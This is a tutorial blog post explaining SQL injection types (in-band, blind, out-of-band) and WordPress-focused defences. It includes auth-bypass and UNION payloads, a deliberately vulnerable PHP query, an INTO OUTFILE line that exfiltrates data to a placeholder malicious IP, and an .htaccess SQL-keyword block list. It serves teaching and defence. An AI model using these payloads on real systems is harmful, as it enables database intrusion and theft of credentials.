An SQL Injection is a code injection technique that attackers use to exploit vulnerabilities in a website or application’s database layer. If attackers can pull off an SQL injection, they can gain access to the database.

If you understand how these attacks work, you’ll be better equipped to prevent them. This way, you can keep your website and customers safe.

In this post, we’ll explore the different types of SQL injections. We’ll also show you how you can protect your site against these attacks. Let’s dive right in!

What Is an SQL Injection?

SQL (Structured Query Language) is a language that allows us to interact with databases. Modern web applications use databases to manage data and display dynamic content to readers.

SQL injection (or SQLi) is when a user tries to insert malicious SQL statements into a web application. If they’re successful, they’ll be able to access sensitive data in the database.

In 2023, SQL injections remain some of the most common attacks on the web. In 2022 alone, 1162 SQL injection vulnerabilities were added to the CVE security database.

The good news is that SQL injections are not as prevalent as they once were. Most applications have evolved to protect against SQL attacks.

Back in 2012, 97 percent of all data breaches were due to SQL injections. Nowadays, that number is still high but much more manageable.

How Does the SQL Injection Vulnerability Work?

An SQL injection vulnerability gives an attacker complete access to your application’s database through the use of malicious SQL statements.

Let’s look at an example of a vulnerable application.

Imagine the workflow of a typical web application that involves database requests through user inputs. You take the user input through a form, say a login form. You then query your database with the fields submitted by the user to authenticate them. The structure of the query to your database is something like this:

select * from user_table
where username = 'sdaityari'
and password = 'mypassword';

For simplicity, let’s assume you are storing your passwords as clear text. It is, however, a good practice to salt your passwords and then hash them. Moving on, if you have received the username and password from the form, you may define the query in PHP as follows:

// Connect to SQL database
$db_query = "select * from user_table where
username = '".$user."'
AND password = '".$password."';";
// Execute query

If someone enters the value “admin’;–” in the username field, the resulting SQL query that the variable $db_query generates will be as follows:

select * from user_table where
username = 'admin';--' and password = 'mypassword'

What does this query do?

In SQL, the — symbol starts a comment, so everything after it is ignored. This effectively removes the password check from the query. As a result, if “admin” is a valid username, the attacker can log in without knowing the password. That is, at least, if there’s no security in place against these types of attacks.

Alternatively, a boolean attack may also be used in this example to gain access. If an attacker enters “password’ or 1=1;–” in the password field, the resulting query would be as follows:

select * from user_table where
username = 'admin' and
password = 'password' or 1=1;--';

In this case, even if your password is wrong, you would be authenticated into the application. If your web page displays the results of the database query, an attacker can use the command to show tables, the command to display the tables in the database, and then selectively drop tables if they so wish.

Exploits of a mom : A cartoon on SQL injection
A cartoon on SQL injection (Source: XKCD)

Exploits of a Mom, a popular comic strip by XKCD, shows the conversation of a mother with her son’s school, where she’s asked if she really named her son “Robert’); DROP TABLE Students; –”.

Types of SQL Injection

Now that you know the basics of a SQL injection vulnerability, let’s explore the various types of SQL injection attacks and the reason behind each of them.

In-Band SQL Injection

In-Band SQL injection is the simplest form of SQL injection. In this process, the attacker is able to use the same channel to insert the malicious SQL code into the application as well as gather the results.

Let’s look at two forms of in-band SQL injection attacks.

Error-Based Attack

An error-based attack happens when someone intentionally manipulates the SQL query to generate a database error. The error message returned by the database often includes information about the database structure, which the attacker can use to further exploit the system.

For example, an attacker can input ‘ OR ‘1’=’1 into a form field. If the application is vulnerable, it might return an error message that reveals information about the database.

Union-Based Attack

Union-based SQL injection attacks use the SQL UNION operator to combine the results of the original query with results from injected malicious queries.

This allows the attacker to retrieve information from other tables within the database:

select title, link from post_table
where id < 10
union
select username, password
from user_table; --;

In this query, the UNION operator combines the results of the original query with the results of SELECT username, password FROM user_table. If the application is vulnerable and doesn’t properly sanitize user input, it might return a page that includes usernames and passwords from the users table.

Inferential SQL Injection (Blind SQL Injection)

Even if an attacker generates an error in the SQL query, the response of the query may not be transmitted directly to the web page. In this case, the attacker will need to probe further.

In this form of SQL injection, the attacker sends various queries to the database to assess how the application analyzes these responses. An inferential SQL injection is sometimes also known as blind SQL injection.

We will look at two kinds of inferential SQL injections below: boolean SQL injection and time-based SQL injection.

Boolean Attack

If an SQL query results in an error that has not been handled internally in the application, the resulting web page may throw an error, load a blank page, or load partially. In a boolean SQL injection, an attacker assesses which parts of a user’s input are vulnerable to SQL injections by trying two different versions of a boolean clause through the input:

  • “… and 1=1”
  • “… and 1=2”

These queries are designed to have a condition that will either be true or false. If the condition is true, the page will load normally. If it’s false, the page might load differently or show an error.

By observing how the page loads, the attacker can determine whether the condition was true or false, even though they don’t see the actual SQL query or the database’s response. If you put together several similar conditions, you can slowly extract information from the database.

Time-Based Attack

A time-based SQL injection attack can help an attacker determine if a vulnerability is present in a web application. An attacker utilizes a pre-defined time-based function of the database management system that is used by the application. For instance, in MySQL, the sleep() function instructs the database to wait for a certain number of seconds.

select * from comments
WHERE post_id=1-SLEEP(15);

If such a query results in a delay, the attacker would know that it is vulnerable. This approach is similar to boolean attacks in that you don’t get an actual response from the database. However, you can gain information from it if the attack succeeds.

Out-of-Band SQL Injection

In an out-of-band SQL Injection attack, the attacker manipulates the SQL query to instruct the database to transmit data to a server controlled by the attacker. This is typically achieved using database functions that can request external resources, such as making HTTP requests or DNS queries.

An out-of-band SQL injection attack uses an external file process capability of your DBMS. In MySQL, the LOAD_FILE() and INTO OUTFILE functions may be used to request MySQL to transmit the data to an external source.

Here’s how an attacker might use OUTFILE to send the results of a query to an external source:

select * from post_table
into OUTFILE '\\\\MALICIOUS_IP_ADDRESS\location'

Similarly, the LOAD_FILE() function may be used to read a file from the server and display its contents. A combination of LOAD_FILE() and OUTFILE can be used to read the contents of a file on the server and then transmit it to a different location.

How To Prevent SQL Injections

So far, we have explored the vulnerabilities in a web application that may lead to SQL injection attacks. An SQL injection vulnerability can be used by an attacker to read, modify, or even remove the contents of your database.

Additionally, it may also enable one to read a file on any location within the server and transfer the contents elsewhere. In this section, we explore various techniques to protect your web application and website against SQL injection attacks.

Escape User Inputs

Generally speaking, it is a difficult task to determine whether a user string is malicious or not. Therefore, one common approach is to escape special characters in user input. This process can help protect against SQL injection attacks.

In PHP, you can escape a string before building the query using the mysqli_real_escape_string() function:

$unsafe_variable = $_POST["user_input"]; $safe_variable = mysqli_real_escape_string($conn, $unsafe_variable);

When displaying user input as HTML, it’s also important to convert special characters to their corresponding HTML characters to prevent Cross-Site Scripting (XSS) attacks. You can convert special characters in PHP using the htmlspecialchars() function.

Use Prepared Statements

Alternatively, you can use prepared statements to avoid SQL injections. A prepared statement is a template of an SQL query, where you specify parameters at a later stage to execute it.

Here’s an example of a prepared statement in PHP and MySQLi:

$query = $mysql_connection->prepare("select * from user_table where username = ? and password = ?");
$query->execute(array($username, $password));

Other Hygiene Checks to Prevent SQL Attacks

The next step in mitigating this vulnerability is to limit access to the database to only what is necessary.

For instance, you can connect your web application to the DBMS using a specific user which has access to only the relevant database.

Additionally, you’ll want to restrict access of the database user to all other locations of the server. You may also wish to block certain SQL keywords in your URL through your web server.

If you are using Apache as a web server, you can use the following lines of code in your .htaccess file to show a 403 Forbidden error to a potential attacker.

You should be careful before using this technique as Apache will show an error to a reader if the URL contains these keywords.

RewriteCond %{QUERY_STRING} [^a-z](declare¦char¦set¦cast¦convert¦delete¦drop¦exec¦insert¦meta¦script¦select¦truncate¦update)[^a-z] [NC]
RewriteRule (.*) - [F]

As an additional prevention tip, you should always use updated software. When a new version or a patch is released, the bugs that were fixed in the update are detailed in the release notes. Once the details of a bug are out in the public, running an old version of any software can be risky.

SQL Injection in WordPress

You are secure from any SQL injection vulnerability if you are using up-to-date WordPress core files. However, using third-party plugins and themes always opens your website to some level of vulnerability. You can largely mitigate this risk by using plugins and themes that receive regular updates and that follow safe coding practices.

Your WordPress site is only as strong as its weakest link. In this section, we explore the key considerations to mitigate SQL injection vulnerability in WordPress and how to perform vulnerability checks on your existing WordPress site.

SQL Injection Vulnerability Prevention for WordPress

To mitigate the vulnerability of SQL Injection in your WordPress theme or plugin, the single rule that you must follow is to always use existing WordPress functions when interacting with the database.

These functions are thoroughly tested for SQL injection vulnerabilities during the WordPress development process. For instance, if you would like to add a comment to a post, use the wp_insert_comment() function rather than inserting data directly into the wp_comments table.

While functions are extensible, you may occasionally need to run a complex query. In such a case, make sure you use the $wp_db group of functions. You can use $wpdb->prepare() to escape user input before creating the query.

Additionally, here is a list of functions to sanitize data in WordPress. These can help you escape specific types of user inputs such as emails and URLs.

Secure Your WordPress Site

While WordPress itself is secure, issues such as outdated core software and nulled plugins can lead to vulnerabilities. While there is no alternative to checking your WordPress site for SQL injection vulnerability thoroughly, the complexity of a website may make this task challenging.

You may use an online scanning tool such as WPScan. We also recommend auditing your plugins to see if their development has stalled. If they’re no longer maintained, it may not be a good idea to use them on your site.

If you still need to use them, make sure you thoroughly test their code and functionality for vulnerabilities. Other than this, make sure you follow these hygiene checks:

  • Update PHP, WordPress core, and MySQL
  • Update third-party plugins and themes
  • Avoid using the root user to connect the SQL database
  • Limit access of the SQL user to sensitive directories
  • Block SQL keywords using your server
  • Keep backups of your site off-site in case of irreversible damage

Here is a detailed post on WordPress security and an exhaustive list of checks. Further, you may wish to invest in these top security plugins for WordPress. Here’s what you should do if your WordPress site is hacked in spite of your best efforts.

Is SQL Injection Illegal?

Definitely, yes! Even though there’s an actual vulnerability, an attacker is still trying to get access to data that wouldn’t be available to them otherwise.

Imagine a scenario where someone leaves their keys in the car. Does driving away in it constitute an offense just because it was left open and unattended?

The act of SQLi falls under different laws in various countries. It falls under the Computer Fraud and Abuse Act (1986) in the US and the Computer Misuse Act (1990) in the UK.

Summary

SQL injections have long been one of the most common attacks on all kinds of websites. Even WordPress can’t protect from the possibility of SQL attacks if you don’t take measures to keep your website safe.

To prevent these attacks, you’ll need to:

  • Understand how the SQL Injection vulnerability works
  • Explore various ways in which attackers may use SQLi to gain unauthorized access to your web application
  • Implement methods to safeguard your website from SQLi attacks, like escaping user inputs and using prepared statements
  • Follow a security check routine
Shaumik Daityari

Shaumik is a data analyst by day, and a comic book enthusiast by night (or maybe, he's Batman?) Shaumik has been writing tutorials and creating screencasts for over five years. When not working, he's busy automating mundane daily tasks through meticulously written scripts!